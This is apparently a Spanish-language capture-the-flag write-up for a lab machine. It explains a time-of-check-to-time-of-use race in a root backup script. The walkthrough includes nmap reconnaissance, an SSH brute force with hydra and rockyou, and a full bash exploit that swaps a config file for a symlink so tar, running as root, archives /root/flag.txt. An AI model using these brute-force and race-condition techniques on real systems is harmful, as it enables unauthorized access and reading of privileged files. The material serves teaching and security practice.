¿Qué es TOCTOU?
TOCTOU (Time Of Check To Time Of Use) es una clase de race condition donde un programa:
- Comprueba una condición sobre un recurso (fichero, directorio, socket…)
- Actúa basando en el resultado de esa comprobación
El problema: entre la comprobación (1) y la acción (2) hay un hueco temporal donde otro proceso puede modificar el recurso. El programa actúa sobre una realidad que ya no existe.
Ejemplos reales: CVE-2019-8561 (instalador macOS), múltiples CVEs en sudo, systemd y gestores de paquetes siguen este patrón.
En este lab: el script de backup comprueba que el config es un fichero regular, duerme 5 segundos (simula I/O lento), y luego lo usa. En esa ventana reemplazamos el fichero por un symlink a una lista maliciosa con /root/flag.txt.
Flujo de ataque
Paso 1 — Reconocimiento
nmap -sV -p 2222 <LAB_IP>
PORT STATE SERVICE VERSION 2222/tcp open ssh OpenSSH 7.9p1 Debian (protocol 2.0)
Paso 2 — Banner SSH
El servidor SSH expone un banner antes de pedir contraseña, visible con cualquier usuario:
ssh guest@<LAB_IP> -p 2222
GhostLabs Backup Service v2.3 Automatic backup daemon running Contact: princesa (backup operator) guest@<LAB_IP>'s password: [Ctrl+C]
Usuario descubierto: princesa.
Paso 3 — Fuerza bruta SSH
hydra -l princesa -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
[2222][ssh] host: <LAB_IP> login: princesa password: qwerty
ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '[<LAB_IP>]:2222'Paso 4 — Acceso SSH
ssh princesa@<LAB_IP> -p 2222
GhostLabs Backup Service v2.3 Backup daemon: ACTIVE
Paso 5 — Exploración inicial
ls -la cat README.txt
Sistema de backup automatico activo. El servicio realiza backups de ~/documentos/ cada ~25 segundos. El archivo .backup_include controla que ficheros se incluyen. Consulta /var/log/backup.log para ver el estado del servicio.
ls -la documentos/
-rw-r--r-- 1 princesa princesa 49 Apr 3 2026 .backup_include -rw-r--r-- 1 princesa princesa 40 Apr 3 2026 notas.txt -rw-r--r-- 1 princesa princesa 55 Apr 3 2026 readme.txt
cat documentos/.backup_include
/home/princesa/documentos/notas.txt /home/princesa/documentos/readme.txt
El fichero .backup_include es una lista de rutas que el servicio de backup incluye en el archivo. Es propiedad de princesa — puede modificarlo, borrarlo y reemplazarlo.
Paso 6 — Inspeccionar el backup existente
ls -la /backups/ tar -tzf /backups/backup.tar.gz
home/princesa/documentos/notas.txt home/princesa/documentos/readme.txt
El backup contiene solo los documentos de princesa. La flag (/root/flag.txt) no está incluida. El objetivo es conseguir que el próximo ciclo la incluya.
Paso 7 — Observar el servicio en tiempo real
Abre una terminal y observa el log en tiempo real:
tail -f /var/log/backup.log
[10:42:00] --- Nuevo ciclo de backup --- [10:42:00] [1/3] Config encontrado. Leyendo lista de archivos... ^ aquí empieza la ventana de 5 segundos [10:42:05] [2/3] Creando archivo de backup... [10:42:05] [2/3] Backup guardado: /backups/backup.tar.gz [10:42:05] [3/3] Ciclo completo. Proximo backup en 25s [10:42:30] --- Nuevo ciclo de backup ---
[1/3] y [2/3] — exactamente 5 segundos para actuar.Paso 8 — Leer el script vulnerable
cat /usr/local/bin/backup_service.sh
La parte crítica del script:
# PASO 1 — TIME OF CHECK if [ -f "$CONFIG" ] && [ ! -L "$CONFIG" ]; then log "[1/3] Config encontrado..." sleep 5 ← VENTANA DE VULNERABILIDAD # PASO 2 — TIME OF USE tar --absolute-names -czf "$BACKUP" -T "$CONFIG" 2>/dev/null fi
| Momento | Qué ocurre |
|---|---|
| [ -f ] && [ ! -L ] | Check: verifica que sea fichero regular y NO symlink |
| sleep 5 | Ventana: el script duerme sin volver a verificar |
| tar -T "$CONFIG" | Use: lee el config tal como está AHORA (puede haber cambiado) |
La vulnerabilidad: si durante el sleep 5 reemplazamos .backup_include (fichero regular) por un symlink a una lista maliciosa, el tar del paso 2 leerá el destino del symlink e incluirá /root/flag.txt en el backup.
[ -f symlink ] devuelve true si el symlink apunta a un fichero regular — pero tar -T symlink sigue el enlace y lee el destino. La comprobación y el uso interpretan la misma ruta de forma diferente: eso es TOCTOU.Paso 9 — Preparar el ataque
En la misma sesión SSH (o en una segunda), prepara los ficheros del ataque:
# Crear la lista maliciosa: un fichero que apunte a /root/flag.txt
echo "/root/flag.txt" > /tmp/evil_list.txt
cat /tmp/evil_list.txt
/root/flag.txt
# Verificar que .backup_include es un fichero regular (no symlink)
ls -la documentos/.backup_include
-rw-r--r-- 1 princesa princesa 49 Apr 3 2026 .backup_include
lrwxrwxrwx), restáuralo antes:rm -f documentos/.backup_include && echo '/home/princesa/documentos/notas.txt' > documentos/.backup_includePaso 10 — Crear el script de explotación
Crea el script en /tmp/exploit_toctou.sh:
cat > /tmp/exploit_toctou.sh << 'EOF' #!/bin/bash CONFIG="/home/princesa/documentos/.backup_include" BACKUP="/backups/backup.tar.gz" LOGFILE="/var/log/backup.log" EXTRACT="/tmp/toctou_extract" echo "[*] Iniciando ataque TOCTOU..." # A: lista maliciosa echo "/root/flag.txt" > /tmp/evil_list.txt # B: asegurar que config es fichero regular para que pase el check if [ -L "$CONFIG" ]; then rm -f "$CONFIG" echo "/home/princesa/documentos/notas.txt" > "$CONFIG" echo "[*] Config restaurado" fi echo "[*] Monitoreando log..." LAST_SEEN="" while true; do LAST=$(tail -1 "$LOGFILE" 2>/dev/null) if [[ "$LAST" != "$LAST_SEEN" ]]; then LAST_SEEN="$LAST" echo " LOG >> $LAST" if echo "$LAST" | grep -q "\[1/3\]"; then echo "" echo "[+] VENTANA DETECTADA — ejecutando race..." rm -f "$CONFIG" ln -s /tmp/evil_list.txt "$CONFIG" echo "[+] Symlink: $CONFIG -> /tmp/evil_list.txt" break fi fi sleep 0.05 done # Esperar que tar complete (sleep 5 del script + margen) echo "[*] Esperando que tar complete..." sleep 8 # Extraer y leer rm -rf "$EXTRACT" && mkdir -p "$EXTRACT" tar -xzf "$BACKUP" -C "$EXTRACT" 2>/dev/null if [ -f "$EXTRACT/root/flag.txt" ]; then echo "" echo "[+] ===== FLAG ENCONTRADA =====" cat "$EXTRACT/root/flag.txt" echo "[+] =============================" else echo "[-] Race perdida. Restaura config y reintenta:" echo " rm -f $CONFIG" echo " echo '/home/princesa/documentos/notas.txt' > $CONFIG" fi EOF chmod +x /tmp/exploit_toctou.sh
Paso 11 — Ejecutar el ataque
Terminal 1 (opcional, para ver el log en paralelo):
tail -f /var/log/backup.log
Terminal 2 (o la misma sesión):
bash /tmp/exploit_toctou.sh
Output esperado si la race se gana:
[*] Iniciando ataque TOCTOU... [*] Monitoreando log... LOG >> [10:45:30] --- Nuevo ciclo de backup --- LOG >> [10:45:30] [1/3] Config encontrado. Leyendo lista de archivos... [+] VENTANA DETECTADA — ejecutando race... [+] Symlink: /home/princesa/documentos/.backup_include -> /tmp/evil_list.txt [*] Esperando que tar complete... [*] Extrayendo backup... [+] ===== FLAG ENCONTRADA ===== GhostLabs{t0ctou_r4ce_w1nd0w} [+] =============================
Paso 12 — Obtener la flag
Puedes verificar manualmente que el backup contiene la flag:
tar -tzf /backups/backup.tar.gz
root/flag.txt
mkdir -p /tmp/manual_extract tar -xzf /backups/backup.tar.gz -C /tmp/manual_extract cat /tmp/manual_extract/root/flag.txt
¿Por qué la ruta es root/flag.txt y no /root/flag.txt?
tar elimina el / inicial al extraer por seguridad (evita sobreescribir ficheros del sistema). Con -C /tmp/extract, extrae a /tmp/extract/root/flag.txt.
Por qué funciona la cadena completa
| Paso | Descripción | Detalle técnico |
|---|---|---|
| Check pasa | Config es fichero regular | [ -f ] && [ ! -L ] → true |
| Sleep 5s | Ventana de vulnerabilidad | El script duerme sin re-verificar |
| Swap | Fichero → symlink | rm -f config && ln -s evil_list config |
| Use | tar lee el symlink | tar -T config sigue el enlace → lee /root/flag.txt |
| Root lee flag | tar corre como root | Puede leer /root/flag.txt (permisos 600) |
| Lectura | Backup con flag | tar -xzf ... -C /tmp → /tmp/root/flag.txt |